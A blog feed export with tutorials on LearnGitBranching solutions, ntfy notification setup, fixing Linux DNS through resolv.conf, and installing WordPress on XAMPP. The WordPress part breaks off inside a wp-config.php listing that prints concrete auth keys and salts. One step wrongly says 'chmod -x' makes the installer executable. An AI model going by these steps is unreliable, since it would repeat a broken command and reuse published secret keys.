<pre><code class="lang-bash">$ git rebase main bugFix
$ git rebase bugFix side
$ git rebase side another
$ git rebase another main
</code></pre>
<h3 id="heading-2-multiple-parents">2. Multiple Parents</h3>
<ul>
<li><p>Rather than specifying the number of generations to go back (what <code>~</code> takes), the modifier on <code>^</code> specifies which parent reference to follow from a merge commit.</p>
</li>
<li><p>To solve,</p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1719902342372/f9ef8eee-1059-44ef-91d1-53e8f7321b8b.png" alt class="image--center mx-auto" /></p>
<ul>
<li>Solution</li>
</ul>
<pre><code class="lang-bash">$ git branch bugWork main^^2^
</code></pre>
<h3 id="heading-3-branch-spaghetti">3. Branch Spaghetti</h3>
<ul>
<li>To solve</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1719902348457/2558c6c1-e2f5-447a-9779-c802ef48113d.png" alt class="image--center mx-auto" /></p>
<ul>
<li>Solution</li>
</ul>
<pre><code class="lang-bash">$ git rebase C2 three
$ git checkout one
$ git cherry-pick C4 C3 C2
$ git checkout two
$ git cherry-pick C5 C4 C3 C2
</code></pre>
<h1 id="heading-remote">Remote</h1>
<h2 id="heading-push-and-pull-git-remotes">Push and Pull — Git Remotes!</h2>
<h3 id="heading-1-clone-intro">1. Clone Intro</h3>
<ul>
<li><p><code>git clone</code> in the real world is the command you'll use to create <em>local</em> copies of remote repositories</p>
</li>
<li><p>To solve,</p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1719902352975/a74c3af9-a333-456a-b9a3-a68d96c5fcf4.png" alt class="image--center mx-auto" /></p>
<ul>
<li>Solution</li>
</ul>
<pre><code class="lang-bash">$ git <span class="hljs-built_in">clone</span>
</code></pre>
<h3 id="heading-2-remote-branches">2. Remote Branches</h3>
<ul>
<li><p>The first thing you may have noticed is that a new branch appeared in our local repository called <code>o/main</code>. This type of branch is called a remote branch</p>
</li>
<li><p>Remote branches have the special property that when you check them out, you are put into a detached <code>HEAD</code> mode.</p>
</li>
<li><p>if you look at a branch named <code>o/main</code>, the branch name is <code>main</code> and the name of the remote is <code>o</code>.</p>
</li>
<li><p>To solve,</p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1719902357579/806017b8-47e1-4d7e-81d7-dcecdba37dff.png" alt class="image--center mx-auto" /></p>
<ul>
<li>Solution</li>
</ul>
<pre><code class="lang-bash">$ git commit
$ git checkout o/main
$ git commit
</code></pre>
<h3 id="heading-3-git-fetch">3. Git Fetch</h3>
<ul>
<li><p><code>git fetch</code> performs two main steps, and two main steps only. It:</p>
<ul>
<li><p>downloads the commits that the remote has but are missing from our local repository, and...</p>
</li>
<li><p>updates where our remote branches point (for instance, <code>o/main</code>)</p>
</li>
</ul>
</li>
<li><p><code>git fetch</code> essentially brings our <em>local</em> representation of the remote repository into synchronization with what the <em>actual</em> remote repository looks like (right now).</p>
</li>
<li><p><code>git fetch</code>, however, does not change anything about <em>your</em> local state. It will not update your <code>main</code> branch or change anything about how your file system looks right now.</p>
</li>
<li><p>To solve,</p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1719902363033/fdcb717c-a53f-46c4-b719-f51ec1a7c820.png" alt class="image--center mx-auto" /></p>
<ul>
<li>Solution</li>
</ul>
<pre><code class="lang-bash">$ git fetch
</code></pre>
<h3 id="heading-4-git-pullin">4. Git Pullin’</h3>
<ul>
<li><p><code>git pull</code> is equivalent to the two command <code>git fetch</code> and <code>git merge</code></p>
</li>
<li><p>For e.g: <code>git fetch</code> and <code>git merge o/main</code> is equivalent to <code>git pull</code></p>
</li>
<li><p>To solve,</p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1719902366519/095fcca6-af01-4f2b-bc14-5f188df26f33.png" alt class="image--center mx-auto" /></p>
<ul>
<li>Solution can be solved by <code>git fetch</code> and <code>git merge o/main</code> or,</li>
</ul>
<pre><code class="lang-bash">$ git pull
</code></pre>
<h3 id="heading-5-faking-teamwork">5. Faking Teamwork</h3>
<ul>
<li><p>pull down changes that were introduced in the remote.</p>
</li>
<li><p>That means we need to essentially "pretend" that the remote was updated by one of your coworkers/friends / collaborators, sometimes on a specific branch or a certain number of commits. That can be done using the command <code>git fakeTeamwork</code></p>
</li>
<li><p>To solve,</p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1719902378426/a526d48f-5c26-444f-8666-812b7203a884.png" alt class="image--center mx-auto" /></p>
<ul>
<li>Solution</li>
</ul>
<pre><code class="lang-bash">$ git <span class="hljs-built_in">clone</span>
$ git fakeTeamwork
$ git fakeTeamwork
$ git commit
$ git pull
</code></pre>
<h3 id="heading-6-git-pushing">6. Git pushing</h3>
<ul>
<li><p>the way to upload shared work is the opposite of downloading shared work. And what's the opposite of <code>git pull</code>? <code>git push</code>!</p>
</li>
<li><p><code>git push</code> is responsible for uploading <em>your</em> changes to a specified remote and updating that remote to incorporate your new commits.</p>
</li>
<li><p>To solve,</p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1719902390849/eaa58f43-90d2-45a5-9257-eebd825e1084.png" alt class="image--center mx-auto" /></p>
<ul>
<li>Solution</li>
</ul>
<pre><code class="lang-bash">$ git commit
$ git commit
$ git push
</code></pre>
<h3 id="heading-7-diverged-history">7. Diverged History</h3>
<ul>
<li>To solve,</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1719902397299/631ff94b-9a27-4df6-8a61-8bda58b6bc09.png" alt class="image--center mx-auto" /></p>
<ul>
<li>Solution</li>
</ul>
<pre><code class="lang-bash">$ git <span class="hljs-built_in">clone</span>
$ git fakeTeamwork
$ git commit
$ git pull --rebase
$ git push
</code></pre>
<h3 id="heading-8-locked-main">8. Locked Main</h3>
<ul>
<li><p>The remote rejected the push of commits directly to the main because of the policy on the main requiring pull requests to instead be used.</p>
<p>  You meant to follow the process of creating a branch then pushing that branch and doing a pull request, but you forgot and committed directly to the main. Now you are stuck and cannot push your changes.</p>
</li>
<li><p>To solve,</p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1719902407869/15413fb0-7545-48d0-944d-11a03c3c6d53.png" alt class="image--center mx-auto" /></p>
<ul>
<li>Solution</li>
</ul>
<pre><code class="lang-bash">$ git reset --hard o/main
$ git checkout -b feature C2
$ git push origin feature
</code></pre>
<h2 id="heading-to-origin-and-beyond-advanced-git-remotes"><strong>To Origin And Beyond --Advanced Git Remotes!</strong></h2>
<h3 id="heading-1httplearngitbranchingjsorg-push-main"><a target="_blank" href="http://Learngitbranching.js.org">1</a>. Push Main!</h3>
<ul>
<li>To solve<a target="_blank" href="http://Learngitbranching.js.org">,</a></li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1719902412856/c7aa35d6-8afe-4ac1-a356-429b1d2a279d.png" alt class="image--center mx-auto" /></p>
<ul>
<li>Solution</li>
</ul>
<pre><code class="lang-bash">$ git fetch
$ git rebase o/main side1
$ git rebase side1 side2
$ git rebase side2 side3
$ git checkout main
$ git merge side3
$ git push
</code></pre>
<h3 id="heading-2-merging-with-remotes">2. Merging with Remotes</h3>
<ul>
<li>To solve,</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1719902423556/4d27c339-84c8-4b91-b4c6-ee81d7d48601.png" alt class="image--center mx-auto" /></p>
<ul>
<li>Solution</li>
</ul>
<pre><code class="lang-bash">$ git fetch
$ git checkout o/main
$ git merge side1
$ git merge side2
$ git merge side3
$ git checkout main
$ git merge C11
$ git push
</code></pre>
<h3 id="heading-3-remote-tracking">3. Remote Tracking</h3>
<ul>
<li><p>In this level, we learn about how to make the main unchanged in remote where we will be using <code>git checkout -b foo o/main</code> by which the main remains unchanged and work is done in the foo branch.</p>
</li>
<li><p>To solve,</p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1719902429812/9815287c-a1cc-4450-8cbf-d077d3b423ca.png" alt class="image--center mx-auto" /></p>
<ul>
<li>Solution</li>
</ul>
<pre><code class="lang-bash">$ git checkout -b side o/main
$ git commit 
$ git fetch
$ git rebase o/main side
$ git push
</code></pre>
<h3 id="heading-4-git-push-arguments">4. Git Push Arguments</h3>
<ul>
<li><p><code>git push &lt;remote&gt; &lt;place&gt;</code> E.g. <code>git push origin main</code></p>
</li>
<li><p>By specifying <code>main</code> as the "place" argument, we told git where the commits will <em>come from</em> and where the commits <em>will go</em>. It's essentially the "place" or "location" to synchronize between the two repositories.</p>
</li>
<li><p>To solve,</p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1719902435964/98228821-3ab2-4bd8-b4b3-c8a0fd25afb2.png" alt class="image--center mx-auto" /></p>
<ul>
<li>Solution</li>
</ul>
<pre><code class="lang-bash">$ git push origin main
$ git push origin foo
</code></pre>
<h3 id="heading-5-git-push-arguments-expanded">5. Git push arguments -- Expanded!</h3>
<ul>
<li><p>If we want the source and destination to be different to do so, we simply join two places separated by the semi-colon <code>git push origin &lt;source&gt;:&lt;destination&gt;</code>. If the branch is absent it creates a new one</p>
</li>
<li><p>To solve,</p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1719902440362/ef261798-b741-4a75-8445-788becf46265.png" alt class="image--center mx-auto" /></p>
<ul>
<li>Solution</li>
</ul>
<pre><code class="lang-bash">$ git push origin foo^:foo
$ git push origin foo^2:main
$ git push origin foo:main
$ git push origin main^:foo
</code></pre>
<h3 id="heading-6-fetch-arguments">6. Fetch Arguments</h3>
<ul>
<li><p>So similar to <code>push</code> argument can be <code>fetch</code> as well? <code>fetch</code> the argument is similar to the <code>push</code> argument.</p>
</li>
<li><p>It is the same type of concept but applied in the opposite direction</p>
</li>
<li><p>The <code>&lt;place&gt;</code> parameter will go to the branch, grab all the commits and then plop them down to the <code>o/&lt;place&gt;</code> branch locally.</p>
</li>
<li><p>This <code>&lt;souce&gt;:&lt;destination&gt;</code> is also true.</p>
</li>
<li><p>To solve,</p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1719902447278/b77d07c1-7525-450a-81fe-9cd087631b97.png" alt class="image--center mx-auto" /></p>
<ul>
<li>Solution</li>
</ul>
<pre><code class="lang-bash">$ git fetch origin C3:foo
$ git fetch origin C6:main
$ git checkout foo
$ git merge main
</code></pre>
<h3 id="heading-7-source-of-nothing">7. Source of Nothing</h3>
<ul>
<li><p>Git abuses the <code>&lt;source&gt;</code> parameter in two weird ways. These two abuses come from the fact that you can technically specify "nothing" as valid <code>source</code> for both git push and git fetch.</p>
</li>
<li><p>To solve,</p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1719902453267/017bb4a2-236e-441f-9144-f947252573e3.png" alt class="image--center mx-auto" /></p>
<ul>
<li>Solution<a target="_blank" href="http://Learngitbranching.js.org">,</a></li>
</ul>
<pre><code class="lang-bash">$ git push origin :foo
$ git fetch origin :bar
</code></pre>
<h3 id="heading-8-pull-arguments">8. Pull Arguments</h3>
<ul>
<li>To solve,</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1719902456676/6a87870b-e705-4b60-a57c-5b2edc6d1dcc.png" alt class="image--center mx-auto" /></p>
<ul>
<li>Solution</li>
</ul>
<pre><code class="lang-bash">$ git fetch origin C3:foo
$ git merge foo
$ git fetch origin C2:side
$ git merge side

OR,

$ git pull origin C3:foo
$ git pull origin C2:side
</code></pre>
]]></content:encoded></item><item><title><![CDATA[NTFY: Send push notifications to your phone]]></title><description><![CDATA[NTFY is a simple HTTP-based pub-sub notification service. It allows you to send notifications to your phone or desktop via scripts from any computer, and/or using a REST API. It's infinitely flexible, and 100% free software.
PUB-SUB: It is known as t...]]></description><link>https://blog.giriamrit.com.np/ntfy-send-push-notifications-to-your-phone</link><guid isPermaLink="true">https://blog.giriamrit.com.np/ntfy-send-push-notifications-to-your-phone</guid><category><![CDATA[Linux]]></category><category><![CDATA[ntfy]]></category><category><![CDATA[ntfysh]]></category><dc:creator><![CDATA[Amrit Giri]]></dc:creator><pubDate>Mon, 27 May 2024 13:45:29 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1716816748094/86412050-0b4f-4005-8c46-0edf99ffd987.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>NTFY is a simple HTTP-based pub-sub notification service. It allows you to send notifications to your phone or desktop via scripts from any computer, and/or using a REST API. It's infinitely flexible, and 100% free software.</p>
<p><strong>PUB-SUB</strong>: It is known as the publish-subscribe pattern, which is a messaging pattern where publishers categorize messages into classes that are received by subscribers.</p>
<p>NTFY is a powerful open-source notification tool that can be self-hosted. Suppose a scenario where you are downloading a large file using wget and have to do other work leaving your desktop, but you want to get notified when the task is complete then NTFY comes in handy to use.</p>
<h2 id="heading-steps-to-install-ntfy">Steps to install NTFY</h2>
<h3 id="heading-lets-start-with-the-desktop-setup">Let's start with the Desktop setup</h3>
<ul>
<li>Let us set it without using docker</li>
</ul>
<pre><code class="lang-bash">$ wget https://github.com/binwiederhier/ntfy/releases/download/v2.11.0/ntfy_2.11.0_linux_amd64.deb
$ sudo dpkg -i ntfy_*.deb
$ sudo systemctl start ntfy
</code></pre>
<ul>
<li>If you want to enable ntfy on the start of OS then use the following command.</li>
</ul>
<pre><code class="lang-bash">$ sudo systemctl <span class="hljs-built_in">enable</span> ntfy
</code></pre>
<ul>
<li>If you are using another OS then visit the link: <a target="_blank" href="https://docs.ntfy.sh/install/">https://docs.ntfy.sh/install/</a></li>
</ul>
<h3 id="heading-using-docker">Using docker</h3>
<ul>
<li><p>The ntfy image is available for amd64, armv6, armv7 and arm64.</p>
</li>
<li><p>with persistent cache</p>
</li>
</ul>
<pre><code class="lang-bash">$ sudo apt update
$ sudo apt install docker.io -y
</code></pre>
<ul>
<li>After you install docker to host from a VPN or home network and get notified about the task you need to configure a file. Copy the code from the link: <a target="_blank" href="https://github.com/binwiederhier/ntfy/blob/main/server/server.yml">https://github.com/binwiederhier/ntfy/blob/main/server/server.yml</a> then paste it on server.yml</li>
</ul>
<pre><code class="lang-bash">$ sudo nano /etc/ntfy/server.yml
</code></pre>
<ul>
<li>Now search and change the following code</li>
</ul>
<pre><code class="lang-bash"><span class="hljs-comment"># Go to the top of the code and uncomment base-url and set the url</span>
<span class="hljs-comment"># for example</span>
base-url : http/https://your ip address to the internet
<span class="hljs-comment"># For ISO search for `upstream` in code and uncomment</span>
<span class="hljs-comment"># In nano press ctrl+w to search</span>
upstream-base-url: <span class="hljs-string">"https://ntfy.sh"</span>
<span class="hljs-comment"># If you use twilio for phone call then find the twilio in the code and give the credential</span>
</code></pre>
<ul>
<li>Save the changes and run the docker container</li>
</ul>
<pre><code class="lang-bash">$ sudo docker run -v /var/cache/ntfy:/var/cache/ntfy -v /etc/ntfy:/etc/ntfy -p 80:80 -itd binwiederhier/ntfy serve --cache-file /var/cache/ntfy/cache.db
</code></pre>
<h2 id="heading-in-mobile">In Mobile</h2>
<ul>
<li>Download the NTFY app from the Play Store, F-droid or App Store.</li>
</ul>
<p><a target="_blank" href="https://play.google.com/store/apps/details?id=io.heckel.ntfy">https://play.google.com/store/apps/details?id=io.heckel.ntfy</a></p>
<p><a target="_blank" href="https://f-droid.org/en/packages/io.heckel.ntfy/">https://f-droid.org/en/packages/io.heckel.ntfy/</a></p>
<p><a target="_blank" href="https://apps.apple.com/us/app/ntfy/id1625396347">https://apps.apple.com/us/app/ntfy/id1625396347</a></p>
<ul>
<li><p>Go to the settings section of the app and Change the default server to the IP address of the base-url that you set early in server.yml</p>
</li>
<li><p>Then go to the notification section click on the plus icon and subscribe to a channel named by yourself that should be unique.</p>
</li>
</ul>
<h2 id="heading-test-to-push-notification">Test to push notification</h2>
<ul>
<li>Open the terminal and test by using the following command</li>
</ul>
<pre><code class="lang-bash">$ curl -d <span class="hljs-string">"Test"</span> (ip-address that you specify <span class="hljs-keyword">in</span> base-url)/channel that you named
</code></pre>
<p>For example:</p>
<p>ip-address = 10.23.103.2 and</p>
<p>subscribed channel = ntfytestnotification, then the command will be</p>
<pre><code class="lang-bash">$ curl -d <span class="hljs-string">"Test"</span> 10.23.103.2/ntfytestnotification
</code></pre>
<p>This should work on iOS and Android devices.</p>
<p>using this you can leave your task and at the end, you can write the above command followed by &amp;&amp; as shown in the following example</p>
<p><strong>E.g.</strong></p>
<pre><code class="lang-bash">$ ping 192.168.1.1 -c 3 &amp;&amp; curl -d <span class="hljs-string">"Host is up"</span> 10.23.103.2/ntfytestnotification || curl -d <span class="hljs-string">"Host is down"</span> 10.23.103.2/ntfytestnotification
</code></pre>
<p>In this above example, 192.168.1.1 is pinged 3 times and</p>
<p>if it gets the response then it will push a notification with the Host is up message</p>
<p>else it will push a notification with the Host is down message.</p>
<p><strong>Check the documentation of NTFY by following this link</strong> <a target="_blank" href="https://docs.ntfy.sh/">https://docs.ntfy.sh/</a> where you can do a bunch of things. Here in this blog, I have mentioned only the installation process.</p>
]]></content:encoded></item><item><title><![CDATA[Wi-Fi is Connected but the Network is not Working on Linux]]></title><description><![CDATA[Introduction
Recently, I got into a problem when I blocked an upgrade in the middle and went on to solve other problems shutting down the laptop. The next morning, when I tried to browse the internet was not working even though I was connected to my ...]]></description><link>https://blog.giriamrit.com.np/wi-fi-is-connected-but-the-network-is-not-working-on-linux</link><guid isPermaLink="true">https://blog.giriamrit.com.np/wi-fi-is-connected-but-the-network-is-not-working-on-linux</guid><category><![CDATA[Linux]]></category><category><![CDATA[network]]></category><category><![CDATA[networking]]></category><category><![CDATA[wifi]]></category><category><![CDATA[troubleshooting]]></category><dc:creator><![CDATA[Amrit Giri]]></dc:creator><pubDate>Tue, 23 Jan 2024 11:01:10 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1706007511642/12f52d65-1985-40fc-9be9-bffb780b2e6a.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-introduction">Introduction</h2>
<p>Recently, I got into a problem when I blocked an upgrade in the middle and went on to solve other problems shutting down the laptop. The next morning, when I tried to browse the internet was not working even though I was connected to my home wifi. I searched on my phone for the solution and found this one which worked for me.</p>
<p>So, This blog is about how I solved the internet problem in my Linux system.</p>
<h2 id="heading-resolvconf-file">Resolv.conf file</h2>
<p>The resolv.conf file is located in the '/etc' folder in the Linux system, which configures hostname resolution. It is commonly used to manage the DNS requests on Linux systems.</p>
<h2 id="heading-solution">Solution</h2>
<p>Let us dive into the solution that made my system network work.</p>
<p>Let us first run the command to ping the web services</p>
<pre><code class="lang-bash">$ ping google.com
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1706007060076/f4f7491a-4060-4fdc-85fd-7c1234253f82.jpeg" alt class="image--center mx-auto" /></p>
<p>This means that it is unable to locate the IP address of google.com so let us try by pinging google through its IP</p>
<pre><code class="lang-bash">$ ping 8.8.8.8
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1706007090081/e1b9b779-0d74-4c2c-b48a-9872cdb0fcbe.jpeg" alt class="image--center mx-auto" /></p>
<p>This means your device's internet is working when IP is provided. To solve the issue let us run the following command</p>
<pre><code class="lang-bash">$ sudo nano /etc/resolv.conf
</code></pre>
<p>Add the following line and save the file.</p>
<pre><code class="lang-bash">nameserver 8.8.8.8
</code></pre>
<p>To exit from nano type <code>ctrl+x , y , enter</code></p>
<p>Now, Let us again ping google.com</p>
<pre><code class="lang-bash">$ ping google.com
</code></pre>
<p>now it can get a response</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1706006795439/b136eb63-d86e-4a3c-802c-874a6b293f0b.jpeg" alt class="image--center mx-auto" /></p>
<p>Now you have to run the command for update and upgrade. Finally, restart your system.</p>
<pre><code class="lang-bash">$ sudo apt update
$ sudo apt full-upgrade -y
$ sudo reboot
</code></pre>
<p>By following every step, the problem is solved. The above-mentioned steps are the exact steps that I followed to solve my problem. Hope this is helpful for you.</p>
]]></content:encoded></item><item><title><![CDATA[WordPress installation on LINUX]]></title><description><![CDATA[[img source : https://www.searchenginejournal.com/wp-content/uploads/2023/09/wordpress-community-seo-64fea3496f6db-sej.png ]
Introduction
If you are using a Linux operating system and want to install WordPress in your system, then you are in the righ...]]></description><link>https://blog.giriamrit.com.np/wordpress-installation-on-linux</link><guid isPermaLink="true">https://blog.giriamrit.com.np/wordpress-installation-on-linux</guid><category><![CDATA[WordPress]]></category><category><![CDATA[Linux]]></category><category><![CDATA[wordpress install]]></category><dc:creator><![CDATA[Amrit Giri]]></dc:creator><pubDate>Sun, 14 Jan 2024 11:53:13 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1705234120196/69d9b706-10bf-46a2-bf70-dc0e552797b0.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><code>[img source :</code> <a target="_blank" href="https://www.searchenginejournal.com/wp-content/uploads/2023/09/wordpress-community-seo-64fea3496f6db-sej.png"><code>https://www.searchenginejournal.com/wp-content/uploads/2023/09/wordpress-community-seo-64fea3496f6db-sej.png</code></a> <code>]</code></p>
<h3 id="heading-introduction"><strong>Introduction</strong></h3>
<p>If you are using a Linux operating system and want to install WordPress in your system, then you are in the right place. You have to follow the following mentioned steps without skipping any of them.</p>
<p>Here the steps that I mentioned have been run by myself in my operating system which is Kali Linux.</p>
<h3 id="heading-installation-of-xampp"><strong>Installation of Xampp</strong></h3>
<p>You can download the Xampp from <a target="_blank" href="https://www.apachefriends.org/download.html">https://www.apachefriends.org/download.html</a> where you will download Xampp for Linux. Ensure you download the one which is at the top i.e. 8.0.30 in this case.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1705227962964/83f9464e-badd-4a48-9ebc-5938bab67ffb.png" alt class="image--center mx-auto" /></p>
<p>After the download process ends open your terminal and navigate to the Downloads section</p>
<pre><code class="lang-bash">$ <span class="hljs-built_in">cd</span> Downloads
</code></pre>
<p>Check the file permission using command</p>
<pre><code class="lang-bash">$ ls -l
</code></pre>
<p>If there is rwxr--r-- then run the following command to make the file executable.</p>
<pre><code class="lang-bash">$ chmod -x xampp-linux-x64-8.0.30-0-installer.run
</code></pre>
<p>now you can execute the file by running the command</p>
<pre><code class="lang-bash">$ sudo ./xampp-linux-x64-8.0.30-0-installer.run
</code></pre>
<p>Click on next and install the Xampp which will be installed in /opt folder</p>
<p>After the completion of Xampp, you can run Xampp either by navigating to /opt/lampp folder and executing</p>
<pre><code class="lang-bash">(/opt/lampp)$ sudo ./manager-linux-x64.run
</code></pre>
<p>or</p>
<pre><code class="lang-bash">$ sudo /opt/lampp/manager-linux-x64.run
</code></pre>
<p>Then a window will open</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1705228655283/e0df8d3f-8f95-43ea-8fee-b4c83b347eea.png" alt class="image--center mx-auto" /></p>
<p>Here go to Manage Servers and click on Start All</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1705228679434/fee092f1-daef-4cb5-9f17-1c4f682aa508.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-installation-of-wordpress"><strong>Installation of WordPress</strong></h3>
<p>visit the website <a target="_blank" href="https://wordpress.org/">https://wordpress.org/</a> where you will find the Get WordPress button when click leads you to this page.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1705228879382/45e54699-792b-4263-b7a8-4f175d47e72e.png" alt class="image--center mx-auto" /></p>
<p>Click on the Download WordPress button.</p>
<p>Now again open your terminal and go to the Downloads folder.</p>
<pre><code class="lang-bash">$ <span class="hljs-built_in">cd</span> Downloads
</code></pre>
<p>Now unzip the WordPress downloaded file using the command</p>
<pre><code class="lang-bash">$ unzip  wordpress-6.4.2.zip
</code></pre>
<p>An unzipped folder named wordpress will be created in your Downloads folder which you can check by running the ls command</p>
<pre><code class="lang-bash">$ ls -l | grep <span class="hljs-string">"wordpress"</span>
</code></pre>
<p>the d in the very front represent folder.</p>
<h3 id="heading-the-most-important-task-after-installation-of-wordpress"><strong>The most important task after installation of WordPress</strong></h3>
<p>Move the folder 'wordpress' to /opt/lampp/htdocs by using the following command</p>
<pre><code class="lang-bash">$ sudo mv ~/Downloads/wordpress /opt/lampp/htdocs
</code></pre>
<h3 id="heading-running-localhost"><strong>Running localhost</strong></h3>
<p>After you follow the above process fire up the browser and type</p>
<p><code>localhost/dashboard/</code></p>
<p>this will open the Xampp dashboard</p>
<p><code>localhost/phpmyadmin/</code></p>
<p>This will take you to manage the database where you set the database</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1705229575028/a7439edb-b249-4d07-9367-7a17260d0f7f.png" alt class="image--center mx-auto" /></p>
<p>For example, if I have given the database name wordpress and click on the create button, the database named wordpress will be created. It is similar to creating the database in MySQL with command</p>
<pre><code class="lang-bash">$ sudo mysql -u root
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 31
Server version: 10.11.6-MariaDB-1 Debian n/a

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type <span class="hljs-string">'help;'</span> or <span class="hljs-string">'\h'</span> <span class="hljs-keyword">for</span> <span class="hljs-built_in">help</span>. Type <span class="hljs-string">'\c'</span> to clear the current input statement.

MariaDB [(none)]&gt; CREATE DATABASE wordpress;
</code></pre>
<p>now in the new tab open <code>localhost/wordpress/</code></p>
<p>this will take you to the congifure page</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1705230038850/7c63c760-a4d3-4060-9dc9-4488292754d9.png" alt class="image--center mx-auto" /></p>
<p>Here give the database name you just created</p>
<p>username as root</p>
<p>leave the password blank if you haven't created a password to access the database</p>
<p>then press the submit button which leads you to another page.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1705230444362/bda8f7ee-72f3-4e41-bece-80c005cf1142.png" alt class="image--center mx-auto" /></p>
<p>If you haven't set wp-config.php then you have to create a wp-config.php file in /opt/lampp/htdocs/wordpress</p>
<p>run command</p>
<pre><code class="lang-bash">()-[/opt/lampp/htdocs/wordpress]$ sudo vim wp-config.php
</code></pre>
<p>Then paste the code provided on that page</p>
<pre><code class="lang-bash">&lt;?php
/**
 * The base configuration <span class="hljs-keyword">for</span> WordPress
 *
 * The wp-config.php creation script uses this file during the installation.
 * You don<span class="hljs-string">'t have to use the web site, you can copy this file to "wp-config.php"
 * and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * Database settings
 * * Secret keys
 * * Database table prefix
 * * ABSPATH
 *
 * @link https://wordpress.org/documentation/article/editing-wp-config-php/
 *
 * @package WordPress
 */

// ** Database settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( '</span>DB_NAME<span class="hljs-string">', '</span>wordpress<span class="hljs-string">' );

/** Database username */
define( '</span>DB_USER<span class="hljs-string">', '</span>root<span class="hljs-string">' );

/** Database password */
define( '</span>DB_PASSWORD<span class="hljs-string">', '</span><span class="hljs-string">' );

/** Database hostname */
define( '</span>DB_HOST<span class="hljs-string">', '</span>localhost<span class="hljs-string">' );

/** Database charset to use in creating database tables. */
define( '</span>DB_CHARSET<span class="hljs-string">', '</span>utf8mb4<span class="hljs-string">' );

/** The database collate type. Don'</span>t change this <span class="hljs-keyword">if</span> <span class="hljs-keyword">in</span> doubt. */
define( <span class="hljs-string">'DB_COLLATE'</span>, <span class="hljs-string">''</span> );

/**<span class="hljs-comment">#@+</span>
 * Authentication unique keys and salts.
 *
 * Change these to different unique phrases! You can generate these using
 * the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}.
 *
 * You can change these at any point <span class="hljs-keyword">in</span> time to invalidate all existing cookies.
 * This will force all users to have to <span class="hljs-built_in">log</span> <span class="hljs-keyword">in</span> again.
 *
 * @since 2.6.0
 */
define( <span class="hljs-string">'AUTH_KEY'</span>,         <span class="hljs-string">'PX[EStJu6(l{yW%]JMydXOIn|*.Ur^~(-e){aUz~MV9=ja&amp;F8FPN`b-GlvghuzgG'</span> );
define( <span class="hljs-string">'SECURE_AUTH_KEY'</span>,  <span class="hljs-string">'#nO&gt;CX+`,Iqn-Zw=]&amp;G5[_S&gt;H+ al+Ue]dlcA-AC[f!*|14(T| eL&amp;#CE!ajDh5G'</span> );
define( <span class="hljs-string">'LOGGED_IN_KEY'</span>,    <span class="hljs-string">'CjFl8hEMP0C&gt;;YTqGEs[i05A/D&amp;o)2}N30Kv_&lt;|_Y]rai&lt;s8,XE@)NZXYx@B!TV.'</span> );
define( <span class="hljs-string">'NONCE_KEY'</span>,        <span class="hljs-string">':MLiUY/y7htyM5,*~=EKj8U+FMwT}(-&lt;XF5RwsW.PO(u[VrBhETMb/UTSL+V.`=C'</span> );
define( <span class="hljs-string">'AUTH_SALT'</span>,        <span class="hljs-string">'Z$n-O(~h7^sROApp1V4k.m4Y$Z&lt;GPF,p5t!jcA0C&amp;wbdMyf}]1v%7)|j/2CJG:z~'</span> );
define( <span class="hljs-string">'SECURE_AUTH_SALT'</span>, <span class="hljs-string">'bCex&lt;` 2_KL`3uYZ[ ,6}dGC!hgRIQ`:=e;z[ZrqJstU,X~v[53_~!pUKt~zl/Wb'</span> );
define( <span class="hljs-string">'LOGGED_IN_SALT'</span>,   <span class="hljs-string">'dY9Z_v%+I0)NZW!Xe%-~n`,S+)WMCPTgNX]Rahcjirj2~XLv[pf?F~=_w*xSaM8.'</span> );
